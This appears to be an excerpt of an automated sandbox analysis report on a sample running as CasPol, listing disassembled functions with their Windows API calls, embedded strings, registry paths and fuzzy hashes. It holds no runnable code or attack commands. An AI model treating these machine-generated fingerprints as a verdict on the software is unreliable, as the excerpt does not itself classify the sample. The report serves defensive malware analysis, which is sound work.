                                                                                                                                                                  • memset.MSVCRT ref: 0040BE91
                                                                                                                                                                  • memcpy.MSVCRT(?,?,?,00000001,?,?,?,00000000,?), ref: 0040BEB2
                                                                                                                                                                  • _wcsnicmp.MSVCRT ref: 0040BEFC
                                                                                                                                                                  • wcschr.MSVCRT ref: 0040BF24
                                                                                                                                                                  • LocalFree.KERNEL32(?,?,?,?,00000001,?,?,?,00000000,?), ref: 0040BF48
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AddressProc$FreeLocal_wcsnicmpmemcpymemsetwcschrwcslenwcsncmp
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 161710377-0
                                                                                                                                                                  • Opcode ID: 4320d3521706fdf8c6ed48fb05be967b0956d3d4dbd01890db6896aba47bd834
                                                                                                                                                                  • Instruction ID: 79a9ca8399314c5bcb3e205da5602351372edcdcc58f79068602210d8f55f42f
                                                                                                                                                                  • Opcode Fuzzy Hash: 4320d3521706fdf8c6ed48fb05be967b0956d3d4dbd01890db6896aba47bd834
                                                                                                                                                                  • Instruction Fuzzy Hash: 1851E9B5D002099FCF20DFA5C8859AEBBF9FF48304F10452AE919F7251E734A9458F69
                                                                                                                                                                  Function 00430C36 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 135COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memcpy.MSVCRT(00000000,?,00000000,00000000,00000000), ref: 00430D77
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcpy
                                                                                                                                                                  • String ID: $, $CREATE TABLE $h\E$h\E$t\El\E
                                                                                                                                                                  • API String ID: 3510742995-2446657581
                                                                                                                                                                  • Opcode ID: 14c264379a519ee19885d409f26ecc6e2d490775587d859f835060da74a6389d
                                                                                                                                                                  • Instruction ID: 6ffa86bec377aa4089670d2183b3ec09711c7f982517375fcd2495ffcd0e8f65
                                                                                                                                                                  • Opcode Fuzzy Hash: 14c264379a519ee19885d409f26ecc6e2d490775587d859f835060da74a6389d
                                                                                                                                                                  • Instruction Fuzzy Hash: CE51CF71D00219DFCB10CF99C490AAEB7F5EF89319F21925BD841AB206D738AE45CF98
                                                                                                                                                                  Function 00405A0E Relevance: 10.6, APIs: 7, Instructions: 125windowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetDlgItem.USER32(?,000003E9), ref: 00405A25
                                                                                                                                                                  • SendMessageW.USER32(00000000,00001009,00000000,00000000), ref: 00405A3E
                                                                                                                                                                  • SendMessageW.USER32(?,00001036,00000000,00000026), ref: 00405A4B
                                                                                                                                                                  • SendMessageW.USER32(?,0000101C,00000000,00000000), ref: 00405A57
                                                                                                                                                                  • memset.MSVCRT ref: 00405ABB
                                                                                                                                                                  • SendMessageW.USER32(?,0000105F,?,?), ref: 00405AF0
                                                                                                                                                                  • SetFocus.USER32(?), ref: 00405B76
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: MessageSend$FocusItemmemset
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 4281309102-0
                                                                                                                                                                  • Opcode ID: efd53bebf051b2277f9dab0bebba2bcddea9ab5f54e930dc2bb54400b8a4bf25
                                                                                                                                                                  • Instruction ID: 6f3680249e95162a2c17081b35fa045d6cf646e1ea5253f38cdaf521fbeb1c86
                                                                                                                                                                  • Opcode Fuzzy Hash: efd53bebf051b2277f9dab0bebba2bcddea9ab5f54e930dc2bb54400b8a4bf25
                                                                                                                                                                  • Instruction Fuzzy Hash: 86414B75900219BBDB20DF95CC85EAFBFB8FF04754F10406AF508A6291D3759A90CFA4
                                                                                                                                                                  Function 0040FA33 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 103COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _snwprintfwcscat
                                                                                                                                                                  • String ID: &nbsp;$<td bgcolor=#%s nowrap>%s$<td bgcolor=#%s>%s$<tr>
                                                                                                                                                                  • API String ID: 384018552-4153097237
                                                                                                                                                                  • Opcode ID: e2d8d0cbab619b5be06ee0f81a04f929cebd05eebf119826ccd3725ad5dc4e14
                                                                                                                                                                  • Instruction ID: 690b9c6e7bf42a1b777b65718bd5b5c6a61f2cd8039d9a9c88f4ff4500a270e2
                                                                                                                                                                  • Opcode Fuzzy Hash: e2d8d0cbab619b5be06ee0f81a04f929cebd05eebf119826ccd3725ad5dc4e14
                                                                                                                                                                  • Instruction Fuzzy Hash: D8319E31A00209AFDF14AF55CC86AAE7BB5FF45320F10007AE804AB292D775AE49DB94
                                                                                                                                                                  Function 0040D7A7 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79windowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ItemMenu$CountInfomemsetwcschr
                                                                                                                                                                  • String ID: 0$6
                                                                                                                                                                  • API String ID: 2029023288-3849865405
                                                                                                                                                                  • Opcode ID: 391c38dbba120c466a74104014748036d1901581f04e0d37adf97963ab497765
                                                                                                                                                                  • Instruction ID: 35075b9e4b0179943f9cc9fcb0392e174ec026107191ec1d659f896637aaeb19
                                                                                                                                                                  • Opcode Fuzzy Hash: 391c38dbba120c466a74104014748036d1901581f04e0d37adf97963ab497765
                                                                                                                                                                  • Instruction Fuzzy Hash: A321AB32905300ABD720AF91DC8599FB7B8FB85754F000A3FF954A2280E779D944CB9A
                                                                                                                                                                  Function 0040541F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 78COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 004055A4: GetLastError.KERNEL32(?,00000000,00405522,?,?,?,00000000,00000000,?,00408E1C,?,?,00000060,00000000), ref: 004055B9
                                                                                                                                                                  • memset.MSVCRT ref: 00405455
                                                                                                                                                                  • memset.MSVCRT ref: 0040546C
                                                                                                                                                                  • memset.MSVCRT ref: 00405483
                                                                                                                                                                  • memcpy.MSVCRT(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00405498
                                                                                                                                                                  • memcpy.MSVCRT(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004054AD
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$memcpy$ErrorLast
                                                                                                                                                                  • String ID: 6$\
                                                                                                                                                                  • API String ID: 404372293-1284684873
                                                                                                                                                                  • Opcode ID: c52bb6eee22109a6197316720abdd8282c22b56b49716a990b3966b2803c4fd3
                                                                                                                                                                  • Instruction ID: af38dfd20ac5a94c77b7ead9800c7a3089711b207e9f3183cf3669ed78e53beb
                                                                                                                                                                  • Opcode Fuzzy Hash: c52bb6eee22109a6197316720abdd8282c22b56b49716a990b3966b2803c4fd3
                                                                                                                                                                  • Instruction Fuzzy Hash: 572141B280112CBBDF11AF99DC45EDF7BACDF15304F0080A6B509E2156E6398B988F65
                                                                                                                                                                  Function 0040A06C Relevance: 10.6, APIs: 7, Instructions: 63timeCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • FileTimeToSystemTime.KERNEL32(?,?), ref: 0040A088
                                                                                                                                                                  • GetDateFormatW.KERNEL32(00000400,00000001,000007C1,00000000,?,00000080), ref: 0040A0B4
                                                                                                                                                                  • GetTimeFormatW.KERNEL32(00000400,00000000,000007C1,00000000,?,00000080), ref: 0040A0C9
                                                                                                                                                                  • wcscpy.MSVCRT ref: 0040A0D9
                                                                                                                                                                  • wcscat.MSVCRT ref: 0040A0E6
                                                                                                                                                                  • wcscat.MSVCRT ref: 0040A0F5
                                                                                                                                                                  • wcscpy.MSVCRT ref: 0040A107
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Time$Formatwcscatwcscpy$DateFileSystem
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1331804452-0
                                                                                                                                                                  • Opcode ID: f8aa036cb335485c7d93aed18039143b3373b2c7e44f2a4205c7e838cddf6ff7
                                                                                                                                                                  • Instruction ID: 70f18838178cd2dbc623065d80ced1a8b0c5b1489d8a310e1ceaee9f81d034e1
                                                                                                                                                                  • Opcode Fuzzy Hash: f8aa036cb335485c7d93aed18039143b3373b2c7e44f2a4205c7e838cddf6ff7
                                                                                                                                                                  • Instruction Fuzzy Hash: 321191B284011DBFEB10AF95DC45DEF777CEB01745F104076B904B6091E6399E858B7A
                                                                                                                                                                  Function 00410030 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 54COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  • <?xml version="1.0" ?>, xrefs: 0041007C
                                                                                                                                                                  • <?xml version="1.0" encoding="ISO-8859-1" ?>, xrefs: 00410083
                                                                                                                                                                  • <%s>, xrefs: 004100A6
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$_snwprintf
                                                                                                                                                                  • String ID: <%s>$<?xml version="1.0" ?>$<?xml version="1.0" encoding="ISO-8859-1" ?>
                                                                                                                                                                  • API String ID: 3473751417-2880344631
                                                                                                                                                                  • Opcode ID: 8f05c840c11c4290d444f2162549af975e664009f5abef6099482a1c5cfc950c
                                                                                                                                                                  • Instruction ID: 2862698e7f89dc449948c814091faf4507903f68b21858a7dbdf66e33a92e1a6
                                                                                                                                                                  • Opcode Fuzzy Hash: 8f05c840c11c4290d444f2162549af975e664009f5abef6099482a1c5cfc950c
                                                                                                                                                                  • Instruction Fuzzy Hash: F501C8F2E402197BD720AA559C41FEAB6ACEF48345F0040B7B608B3151D6389F494B99
                                                                                                                                                                  Function 0040A178 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: wcscat$_snwprintfmemset
                                                                                                                                                                  • String ID: %2.2X
                                                                                                                                                                  • API String ID: 2521778956-791839006
                                                                                                                                                                  • Opcode ID: fbe0b2ef567fee9eabd5ce406f53818797bf0b783fcface126c98386edfee971
                                                                                                                                                                  • Instruction ID: 672bbb69153a15f1984629f72f86def8939f314c78adde6f8276b735d3b02408
                                                                                                                                                                  • Opcode Fuzzy Hash: fbe0b2ef567fee9eabd5ce406f53818797bf0b783fcface126c98386edfee971
                                                                                                                                                                  • Instruction Fuzzy Hash: 2101D472A403297AF7206756AC46BBA33ACAB41714F11407BFC14AA1C2EA7C9A54469A
                                                                                                                                                                  Function 0040D5D6 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 26COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _snwprintfwcscpy
                                                                                                                                                                  • String ID: dialog_%d$general$menu_%d$strings
                                                                                                                                                                  • API String ID: 999028693-502967061
                                                                                                                                                                  • Opcode ID: 17378f80787d8f3ebe1be11f22ab444215ff95c87d82bd16ffe54226d060cac5
                                                                                                                                                                  • Instruction ID: 4b5f4d23dee208ad245a1fa3262b8d520e9fbefe09054bf07968a47f6ed58b46
                                                                                                                                                                  • Opcode Fuzzy Hash: 17378f80787d8f3ebe1be11f22ab444215ff95c87d82bd16ffe54226d060cac5
                                                                                                                                                                  • Instruction Fuzzy Hash: 1AE04FB5E8870035E92519A10C03B2A155086A6B5BF740C2BFD0AB11D2E47F955DA40F
                                                                                                                                                                  Function 00408D96 Relevance: 10.2, APIs: 8, Instructions: 159stringCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • strlen.MSVCRT ref: 00408DFA
                                                                                                                                                                    • Part of subcall function 00408D18: memcpy.MSVCRT(?,?,00000008,00000008,00000010,00000040,?,?), ref: 00408D44
                                                                                                                                                                  • memset.MSVCRT ref: 00408E46
                                                                                                                                                                  • memcpy.MSVCRT(00000000,?,?,00000000,00000000,00000000), ref: 00408E59
                                                                                                                                                                  • memcpy.MSVCRT(?,?,?,?,?,?,00000000,00000000,00000000), ref: 00408E6C
                                                                                                                                                                  • memcpy.MSVCRT(00000000,00000000,00000014,?,00000000,?,?,00000000,?,00000000,00000000,?,00000000), ref: 00408EB2
                                                                                                                                                                  • memcpy.MSVCRT(?,?,?,00000000,?,00000000,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00408EC5
                                                                                                                                                                  • memcpy.MSVCRT(00000000,00000000,00000014,?,00000000,00000000,00000060,00000000,?,?,?,00000000,?,00000000), ref: 00408EF2
                                                                                                                                                                  • memcpy.MSVCRT(?,00000000,00000014,00000000,00000060,00000000,?,?,?,00000000,?,00000000), ref: 00408F07
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcpy$memsetstrlen
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2350177629-0
                                                                                                                                                                  • Opcode ID: b0fd6244f294145fe9a6ea4e3d429f9bbf97f6839acfbc1745acf2347c5e71ea
                                                                                                                                                                  • Instruction ID: 5f65aa9fdfa02acdbc3988aed820739efb0bf546d233f5e01752542f466a415e
                                                                                                                                                                  • Opcode Fuzzy Hash: b0fd6244f294145fe9a6ea4e3d429f9bbf97f6839acfbc1745acf2347c5e71ea
                                                                                                                                                                  • Instruction Fuzzy Hash: 3951017290050DBEEB51DAE8CC45FEFBBBCAB09304F004476F709E6155E6349B498BA6
                                                                                                                                                                  Function 0042ADCD Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 217COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset
                                                                                                                                                                  • String ID: 8$GROUP$ORDER$a GROUP BY clause is required before HAVING$aggregate functions are not allowed in the GROUP BY clause
                                                                                                                                                                  • API String ID: 2221118986-1606337402
                                                                                                                                                                  • Opcode ID: 10415b1a1c8003ecd0031fb780f2e77066144490245ccd4b04bba77302a40a65
                                                                                                                                                                  • Instruction ID: 7aef5b05df8cb417835a49add62511a3dd126d480fa81acd131143259a3eb597
                                                                                                                                                                  • Opcode Fuzzy Hash: 10415b1a1c8003ecd0031fb780f2e77066144490245ccd4b04bba77302a40a65
                                                                                                                                                                  • Instruction Fuzzy Hash: 5D818A706083219FDB10CF25E48162BB7E1EF84318F96885EEC949B256D738EC55CB9B
                                                                                                                                                                  Function 00408F2F Relevance: 9.1, APIs: 6, Instructions: 119COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • _mbscpy.MSVCRT(?,00000000,00000000,?,00000001), ref: 00408F50
                                                                                                                                                                  • memcmp.MSVCRT ref: 00408FB3
                                                                                                                                                                  • memset.MSVCRT ref: 00408FD4
                                                                                                                                                                  • memcmp.MSVCRT ref: 00409025
                                                                                                                                                                  • memset.MSVCRT ref: 00409042
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000018,00000001,?,?,00000020,?,?,?,?,00000000,?,00000001), ref: 00409079
                                                                                                                                                                    • Part of subcall function 00408C3C: strlen.MSVCRT ref: 00408C96
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcmpmemset$_mbscpymemcpystrlen
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 265355444-0
                                                                                                                                                                  • Opcode ID: a83a1467d2796da51f33b336eeec327ded5aa3ca15fd709dc7ec48effe5a66b1
                                                                                                                                                                  • Instruction ID: d0ac777748d33e6673793c59e161d6f76d61048b6b1b65ce46f59eb5e56095ce
                                                                                                                                                                  • Opcode Fuzzy Hash: a83a1467d2796da51f33b336eeec327ded5aa3ca15fd709dc7ec48effe5a66b1
                                                                                                                                                                  • Instruction Fuzzy Hash: E241677190060CBEEB21DAA0DC45FDFB7BCAF04344F00443EF655E6182E675AA498BA5
                                                                                                                                                                  Function 0040C3C3 Relevance: 9.1, APIs: 6, Instructions: 109registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040B1AB: free.MSVCRT ref: 0040B1AE
                                                                                                                                                                    • Part of subcall function 0040B1AB: free.MSVCRT ref: 0040B1B6
                                                                                                                                                                    • Part of subcall function 00414592: RegOpenKeyExW.KERNEL32(80000002,80000002,00000000,00020019,80000002,00414CC1,80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,00445DDE,?,?,00000000), ref: 004145A5
                                                                                                                                                                    • Part of subcall function 0040A9CE: free.MSVCRT ref: 0040A9DD
                                                                                                                                                                  • memset.MSVCRT ref: 0040C439
                                                                                                                                                                  • RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,?,?,00000000,?), ref: 0040C467
                                                                                                                                                                  • _wcsupr.MSVCRT ref: 0040C481
                                                                                                                                                                    • Part of subcall function 0040A8D0: wcslen.MSVCRT ref: 0040A8E2
                                                                                                                                                                    • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A908
                                                                                                                                                                    • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A92B
                                                                                                                                                                    • Part of subcall function 0040A8D0: memcpy.MSVCRT(?,?,000000FF,00000000,?,?,00000000,?,0040320A,00000000,000000FF), ref: 0040A94F
                                                                                                                                                                  • memset.MSVCRT ref: 0040C4D0
                                                                                                                                                                  • RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,000000FF,?,?,?,?,00000000), ref: 0040C4FB
                                                                                                                                                                  • RegCloseKey.ADVAPI32(?,?,?,?,?,00000000,?), ref: 0040C508
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: free$EnumValuememset$CloseOpen_wcsuprmemcpywcslen
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 4131475296-0
                                                                                                                                                                  • Opcode ID: eb77d7cad75ccead34f911285e165139a1ce78e2e313fb24f2a05cc2c8735199
                                                                                                                                                                  • Instruction ID: d2440758a7fd93b52fc88bd6111275bc9aa4df1ffeb01c53d5483546710cd2f3
                                                                                                                                                                  • Opcode Fuzzy Hash: eb77d7cad75ccead34f911285e165139a1ce78e2e313fb24f2a05cc2c8735199
                                                                                                                                                                  • Instruction Fuzzy Hash: A4411CB2900219BBDB00EF95DC85EEFB7BCAF48304F10417AB505F6191D7749A44CBA5
                                                                                                                                                                  Function 004116DD Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 82COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 004116FF
                                                                                                                                                                    • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000,?,?,00402E6F), ref: 0040D173
                                                                                                                                                                    • Part of subcall function 0040D134: LoadStringW.USER32(00000000,?,?), ref: 0040D20C
                                                                                                                                                                    • Part of subcall function 0040D134: memcpy.MSVCRT(00000000,00000002,?,?,00402E6F), ref: 0040D24C
                                                                                                                                                                    • Part of subcall function 0040D134: wcscpy.MSVCRT ref: 0040D1B5
                                                                                                                                                                    • Part of subcall function 0040D134: wcslen.MSVCRT ref: 0040D1D3
                                                                                                                                                                    • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000), ref: 0040D1E1
                                                                                                                                                                    • Part of subcall function 0040A45A: memset.MSVCRT ref: 0040A47B
                                                                                                                                                                    • Part of subcall function 0040A45A: _snwprintf.MSVCRT ref: 0040A4AE
                                                                                                                                                                    • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4BA
                                                                                                                                                                    • Part of subcall function 0040A45A: memcpy.MSVCRT(?,?,?,?,?,00000400,%s (%s),?,?), ref: 0040A4D2
                                                                                                                                                                    • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4E0
                                                                                                                                                                    • Part of subcall function 0040A45A: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,00000400,%s (%s),?,?), ref: 0040A4F3
                                                                                                                                                                    • Part of subcall function 0040A279: wcscpy.MSVCRT ref: 0040A2DF
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcpywcslen$HandleModulememsetwcscpy$LoadString_snwprintf
                                                                                                                                                                  • String ID: *.csv$*.htm;*.html$*.txt$*.xml$txt
                                                                                                                                                                  • API String ID: 2618321458-3614832568
                                                                                                                                                                  • Opcode ID: 892276959a0c47848777e093024f27755814d5c903fce7db561a0975b0ee82c0
                                                                                                                                                                  • Instruction ID: 2af34abd3473d77be096866f654b5876edf67c2d942e61680e34910f62553c8c
                                                                                                                                                                  • Opcode Fuzzy Hash: 892276959a0c47848777e093024f27755814d5c903fce7db561a0975b0ee82c0
                                                                                                                                                                  • Instruction Fuzzy Hash: 71310DB1D013589BDB10EFA9DC816DDBBB4FB08345F10407BE548BB282DB385A468F99
                                                                                                                                                                  Function 004185CA Relevance: 9.1, APIs: 6, Instructions: 78COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AttributesFilefreememset
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2507021081-0
                                                                                                                                                                  • Opcode ID: afcad17dad9998b86119828d1b617f81507b1c6ffb5a90d063004130875e5eff
                                                                                                                                                                  • Instruction ID: e31a4ad29e7632976921f0390f19c15604a95804a640e9d04457ce0419b5f72c
                                                                                                                                                                  • Opcode Fuzzy Hash: afcad17dad9998b86119828d1b617f81507b1c6ffb5a90d063004130875e5eff
                                                                                                                                                                  • Instruction Fuzzy Hash: 1211E632A04115EFDB209FA49DC59FF73A8EB45318B21013FF911E2280DF789D8196AE
                                                                                                                                                                  Function 004174F5 Relevance: 9.1, APIs: 6, Instructions: 61COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • AreFileApisANSI.KERNEL32 ref: 004174FC
                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000), ref: 0041751A
                                                                                                                                                                  • malloc.MSVCRT ref: 00417524
                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000), ref: 0041753B
                                                                                                                                                                  • free.MSVCRT ref: 00417544
                                                                                                                                                                  • free.MSVCRT ref: 00417562
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ByteCharMultiWidefree$ApisFilemalloc
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 4131324427-0
                                                                                                                                                                  • Opcode ID: 2440c23a1bd9c14e736b75fc15117030069baeee03a9925480b775904b905708
                                                                                                                                                                  • Instruction ID: 8d188238c5fd2fb6163cec5331830b967abe0ebba74b79ef9884251e0929a2bc
                                                                                                                                                                  • Opcode Fuzzy Hash: 2440c23a1bd9c14e736b75fc15117030069baeee03a9925480b775904b905708
                                                                                                                                                                  • Instruction Fuzzy Hash: 9701D4726081257BEB215B7A9C41DEF3AAEDF463B47210226FC14E3280EA38DD4141BD
                                                                                                                                                                  Function 00418197 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetTempPathW.KERNEL32(000000E6,?), ref: 004181DB
                                                                                                                                                                  • GetTempPathA.KERNEL32(000000E6,?), ref: 00418203
                                                                                                                                                                  • free.MSVCRT ref: 0041822B
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: PathTemp$free
                                                                                                                                                                  • String ID: %s\etilqs_$etilqs_
                                                                                                                                                                  • API String ID: 924794160-1420421710
